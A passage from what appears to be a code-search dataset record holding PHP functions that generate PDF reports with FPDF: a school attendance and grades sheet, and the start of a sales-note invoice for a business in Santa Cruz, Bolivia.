1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->VVOL)\n\t\t {\n\t\t \tif($asis->grupos->id == 5)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->CMIN)\n\t\t {\n\t\t \tif($asis->grupos->id == 6)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->TORU)\n\t\t {\n\t\t \tif($asis->grupos->id == 7)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->TLLA)\n\t\t {\n\t\t \tif($asis->grupos->id == 8)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t \tif($request->RETRO)\n\t\t {\n\t\t \tif($asis->grupos->id == 9)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->MONT)\n\t\t {\n\t\t \tif($asis->grupos->id == 10)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->MOTO)\n\t\t {\n\t\t \tif($asis->grupos->id == 11)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t \tif($request->ROD)\n\t\t {\n\t\t \tif($asis->grupos->id == 12)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t}\n\t\t$fpdf->Cell(40,8, utf8_decode('FECHA DE EMISIÓN') ,1,0, 'C');\n\t\t$date = Carbon::now('America/Lima');\n\t\t$fpdf->Cell(80,8, $date->format('d-m-Y'),1,0,'C');\n\t\t$fpdf->Cell(14,8, 'FIRMA',1,0,'C');\n\t\t$fpdf->Cell(56,8, '',1,0,'C');\n\t\t$fpdf->Output();\n\t\texit;\n\t\t \t// Salto de línea\n\t\t/*$repmatricula = matricula::with('detalles_matriculas', 'detalles_matriculas.grupos', 'alumnos', 'carreras', 'inscripciones' )->findOrFail($request->id_matricula);\n\t \t$fpdf = new Fpdf();\n\t\t $fpdf->AddPage();\n\t\t $fpdf->SetFont('Arial','B',16);\n\t\t $fpdf->Image('img/logoflv.png',10,10,33);\n\t\t $fpdf->Cell(50,10,\"\",1,0,'');\n\t\t \t// Título\n\t\t \t$fpdf->Cell(140,10, utf8_decode('CENTRO TECNICO PRODUCTIVO FLAVISUR TACNA'),1,0,'');\n\t\t \t// Salto de línea\n\t\t \t$fpdf->SetFont('Arial','B',10);\n\t\t \t$fpdf->Ln();\n\t\t $date = Carbon::now();\n\t\t $w = 1;\n\t\t $fpdf->Cell(30,8*$w,'CODIGO(DNI):',1,0,'');\n\t\t $fpdf->Cell(40,8*$w, utf8_decode($repmatricula->alumnos->dni),1,0,'');\n\t\t $fpdf->Cell(25,8*$w,'ESTUDIANE:',1,0,'');\n\t\t $fpdf->Cell(95,8*$w, utf8_decode($repmatricula->alumnos->nombres),1,0,'');\n\t\t $fpdf->Ln();\n\t\t $fpdf->Cell(22,8*$w,'#', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'C.F', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'SCOOP', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'EXCA', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'C.GRU', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'V.VOL', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'C.MIN', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'T.ORU', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'T.LLA', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'RETRO', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'MONT', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'MOTO', 1,0, 'C');\n\t\t $fpdf->Cell(14,8*$w,'ROD', 1,0, 'C');\n\t\t $fpdf->Ln();\n\t\t $fpdf->SetFont('Arial','',10);\n\t\t $n=1;\n\t\t $pdfnotas=[];\n\t\t $CF=[];\n\t\t $SCOOP=[];\n\t\t $EXCA=[];\n\t\t $CGRU=[];\n\t\t $VVOL=[];\n\t\t $CMIN=[];\n\t\t $TORU=[];\n\t\t $TLLA=[];\n\t\t $RETRO=[];\n\t\t $MONT=[];\n\t\t $MOTO=[];\n\t\t $ROD=[];\n\t\t $x=0;\n\t\t $y=0;\n\t\t $z=0;\n\t\t $a=0;\n\t\t $b=0;\n\t\t $c=0;\n\t\t $d=0;\n\t\t $e=0;\n\t\t $f=0;\n\t\t $g=0;\n\t\t $h=0;\n\t\t $i=0;\n\t\t //foreach ($repmatricula->detalles_matriculas as $detalles) {\n\t\t //\t$fpdf->Cell(22,8,utf8_decode($detalles->cursos->nombre),1,0, 'C');\n\t\t ///////////////////////////////////////////////////////////////\n\t\t foreach ($repmatricula->detalles_matriculas as $notas) {\n\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'C.F.')\n\t\t\t \t{\n\t\t\t \t\t$CF[$x] = $notas->promedio;\n\t\t\t \t\t$x++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'SCOOP')\n\t\t\t \t{\n\t\t\t \t\t$SCOOP[$y] = $notas->promedio;\n\t\t\t \t\t$y++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'EXCA')\n\t\t\t \t{\n\t\t\t \t\t$EXCA[$z] = $notas->promedio;\n\t\t\t \t\t$z++;\n\t\t\t \t}\t\t \n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'C.GRU')\n\t\t\t \t{\n\t\t\t \t\t$CGRU[$a] = $notas->promedio;\n\t\t\t \t\t$a++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'V.VOL')\n\t\t\t \t{\n\t\t\t \t\t$VVOL[$b] = $notas->promedio;\n\t\t\t \t\t$b++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'C.MIN')\n\t\t\t \t{\n\t\t\t \t\t$CMIN[$c] = $notas->promedio;\n\t\t\t \t\t$c++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'T.ORU')\n\t\t\t \t{\n\t\t\t \t\t$TORU[$d] = $notas->promedio;\n\t\t\t \t\t$d++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'T.LLA')\n\t\t\t \t{\n\t\t\t \t\t$TLLA[$e] = $notas->promedio;\n\t\t\t \t\t$e++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'RETRO')\n\t\t\t \t{\n\t\t\t \t\t$RETRO[$f] = $notas->promedio;\n\t\t\t \t\t$f++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'MONT')\n\t\t\t \t{\n\t\t\t \t\t$MONT[$g] = $notas->promedio;\n\t\t\t \t\t$g++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'MOTO')\n\t\t\t \t{\n\t\t\t \t\t$MOTO[$h] = $notas->promedio;\n\t\t\t \t\t$h++;\n\t\t\t \t}\n\t\t\t \tif($notas->grupos->ciclos->ciclo == 'ROD')\n\t\t\t \t{\n\t\t\t \t\t$ROD[$i] = $notas->promedio;\n\t\t\t \t\t$i++;\n\t\t\t \t}\n\t\t \t}\n\t\t $index=0;\n\t\t foreach ($repmatricula->detalles_matriculas as $detalles)\n\t\t {\n\t\t \t$fpdf->Cell(22,8,utf8_decode($detalles->cursos->nombre),1,0, 'C');\n\t\t \tif(!$request->CF)\n\t\t \t{\t\n\t\t \t\t\n\t\t \t\t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t\n\t\t \t\tif(empty($CF))\n\t\t \t\t{\n\t\t \t\t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\t\n\t\t \t\t}else\n\t\t \t\t{\n\t\t \t\t\t$fpdf->Cell(14,8,$CF[$index], 1,0, 'C');\n\t\t \t\t}\n\t\t \t}\n\t\t\t if(!$request->SCOOP)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($SCOOP))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$SCOOP[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->EXCA)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($EXCA))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$EXCA[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t \tif(!$request->CGRU)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($CGRU))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$CGRU[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->VVOL)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($VVOL))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$VVOL[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->CMIN)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($CMIN))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$CMIN[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\t\n\t\t\t if(!$request->TORU)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($TORU))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$TORU[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->TLLA)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($TLLA))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$TLLA[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t\t\tif(!$request->RETRO)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($RETRO))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$RETRO[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->MONT)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($MONT))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$MONT[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->MOTO)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($MOTO))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$MOTO[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t\t if(!$request->ROD)\n\t\t\t {\n\t\t\t \t$fpdf->Cell(14,8,\"-\", 1,0, 'C');\n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \tif(empty($ROD))\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,\"NP\", 1,0, 'C');\n\t\t\t \t}\n\t\t\t \telse\n\t\t\t \t{\n\t\t\t \t\t$fpdf->Cell(14,8,$ROD[$index], 1,0, 'C');\n\t\t\t \t}\n\t\t\t }\n\t\t \t$fpdf->Ln();\n\t\t \tif($index==4)\n\t\t \t\t{break;}\n\t\t\t $index++;\n\t\t }\n\n\t\t $fpdf->SetFillColor(255,255,51);\n\t\t $fpdf->Cell(22,8,utf8_decode('PROMEDIO'),1,0, 'C', True);\n\t\t if(!$request->CF)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($CF))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($CF)/count($CF))),1,0, 'C',True);\n\t\t \t}\n\t\t }\t \n\t\t if(!$request->SCOOP)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($SCOOP))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($SCOOP)/count($SCOOP))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t \tif(!$request->EXCA)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($EXCA))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($EXCA)/count($EXCA))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->CGRU)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($CGRU))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($CGRU)/count($CGRU))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->VVOL)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($VVOL))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($VVOL)/count($VVOL))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->CMIN)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($CMIN))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($CMIN)/count($CMIN))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->TORU)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \t\tif(empty($TORU))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($TORU)/count($TORU))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->TLLA)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($TLLA))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($TLLA)/count($TLLA))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->RETRO)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($RETRO))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($RETRO)/count($RETRO))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->MONT)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($MONT))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($MONT)/count($MONT))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->MOTO)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($MOTO))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($MOTO)/count($MOTO))),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t if(!$request->ROD)\n\t\t {\n\t\t \t$fpdf->Cell(14,8,'-',1,0, 'C',True);\n\t\t }\n\t\t else\n\t\t {\n\t\t \tif(empty($ROD))\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,'NP',1,0, 'C',True);\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\t$fpdf->Cell(14,8,round((array_sum($ROD))/count($ROD)),1,0, 'C',True);\n\t\t \t}\n\t\t }\n\t\t $fpdf->Ln();\n\t\t $fpdf->Cell(40,8, 'FECHA DE ENTREGA' ,1,0, 'C');\n\t\t $date = Carbon::now();\n\t\t $fpdf->Cell(80,8*$w, $date->format('d-m-Y'),1,0,'C');\n\t\t $fpdf->Cell(14,8*$w, 'FIRMA',1,0,'C');\n\t\t $fpdf->Cell(56,8*$w, '',1,0,'C');\n\t\t $fpdf->Output();\n\t\t exit;*/\n\t}", "title": "" }, { "docid": "1f94a1ecf0e781500fe89ff86b20a594", "score": "0.7108112", "text": "public function nota()\n {\n $this->load->model('model_venta');\n $this->load->library('pdf');\n $this->pdf = new Pdf('P', 'mm', 'Legal');\n // $ingresos = $this->flujo_caja_model->obtener_ingresos($fecha_inicio,$fecha_fin); array(216, 279)\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n\n\n /* DATOS DE LA VENTA */\n\n $venta = $this->model_venta->imprimirFactura(24);\n /**/\n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(\"FACTURA\");\n /* La variable $x se utiliza para mostrar un número consecutivo */\n\n /* titulo de ingreso*/\n $var_img = base_url() . 'assets/img/logo.png';\n $this->pdf->Image($var_img, 10, 10, 68, 28);\n /* NIT Y NRO FACTURA */\n\n /* intenando poner multicell */\n $this->pdf->SetFont('Arial', 'B', 8);\n $this->pdf->Cell(133, 5, '', 0, 0, 'C');\n $this->pdf->Cell(65, 5, $venta[\"datos_factura\"]->nombre_empresa, 0, 0, 'C');\n $this->pdf->Cell(55, 5, '', 0, 0, 'C');\n $this->pdf->SetFont('Arial', 'B', 9);\n $this->pdf->SetTextColor(248, 000, 000);\n\n /**/\n $this->pdf->Ln(5);\n $this->pdf->Cell(133, 5, '', 0, 0, 'C');\n $this->pdf->SetFont('Arial', 'B', 9);\n $this->pdf->SetTextColor(0, 0, 0);/* volvemos a color de texto negro*/\n $this->pdf->Cell(60, 5, $venta[\"datos_factura\"]->sucursal, 0, 0, 'C');\n $this->pdf->Cell(60, 5, '', 0);\n $this->pdf->SetFont('Arial', 'B', 9);\n $this->pdf->MultiCell(72, 5, '', 0, 'C');\n $this->pdf->Ln(0);\n $this->pdf->Cell(75, 5, ' ', 0, 0, 'C');\n $this->pdf->SetFont('Arial', 'B', 12);\n $this->pdf->SetTextColor(248, 000, 000);\n $this->pdf->Cell(60, 5, 'N O T A D E V E N T A', 0, 0, 'C');\n $this->pdf->SetFont('Arial', '', 9);\n $this->pdf->SetTextColor(0, 0, 0);/* volvemos a color de texto negro*/\n $this->pdf->Cell(60, 4, $venta[\"datos_factura\"]->direccion, 0, 0, 'C');\n $this->pdf->Cell(60, 4, '', 0);\n $this->pdf->SetFont('Arial', '', 9);\n $this->pdf->MultiCell(72, 4, '', 0, 'C');\n $this->pdf->Ln(0);\n $this->pdf->Cell(75, 5, '', 0, 0, 'C');\n $this->pdf->SetFont('Arial', 'B', 12);\n $this->pdf->SetTextColor(248, 000, 000);\n $this->pdf->Cell(61, 5, utf8_decode('Nº '), 0, 0, 'C');\n $this->pdf->SetTextColor(0, 0, 0);/* volvemos a color de texto negro*/\n $this->pdf->SetFont('Arial', 'B', 7);\n $this->pdf->Cell(60, 4, 'Telf. ' . $venta[\"datos_factura\"]->telefono . ' - ' . $venta[\"datos_factura\"]->celular, 0, 0, 'C');\n $this->pdf->Cell(60, 4, '', 0);\n $this->pdf->Cell(72, 4, '', 0);\n\n $this->pdf->Ln(4);\n $this->pdf->Cell(139, 5, '', 0, 0, 'C');\n $this->pdf->SetFont('Arial', 'B', 7);\n $this->pdf->Cell(55, 4, 'Santa Cruz - Bolivia', 0, 0, 'C');\n $this->pdf->Cell(60, 4, '', 0);\n $this->pdf->Cell(72, 4, '', 0);\n $this->pdf->Ln(15);\n\n\n /* LUGAR Y FECHA ///// NIT CI*/\n $this->pdf->SetFont('Arial', 'B', 8);\n $this->pdf->Cell(27, 5, 'Lugar y fecha :', 'TL');\n $this->pdf->Cell(165, 5, '', 'TR');\n $this->pdf->SetFont('Arial', 'B', 8);;\n $this->pdf->Ln(5);\n\n\n /* CLIENTE */\n $this->pdf->Cell(27, 5, utf8_decode('Señor(es) :'), 'LB');\n $this->pdf->Cell(165, 5, '', 'RB');\n $this->pdf->Ln(7);\n\n /* DETALLE DE ITEMS */\n $this->pdf->SetMargins(10, 10, 10);\n $this->pdf->SetFont('Arial', 'B', 8);\n\n /* Encabezado de la columna*/\n $this->pdf->Cell(13, 5, \"NRO\", 1, 0, 'C');\n $this->pdf->Cell(154, 5, \"DESCRIPCION\", 1, 0, 'C');\n $this->pdf->Cell(25, 5, \"SUBTOTAL\", 1, 0, 'C');\n $this->pdf->Ln(5);\n\n /* detalle*/\n $nro = 1;\n $detalle_venta = $venta[\"datos_venta_detalle\"];\n 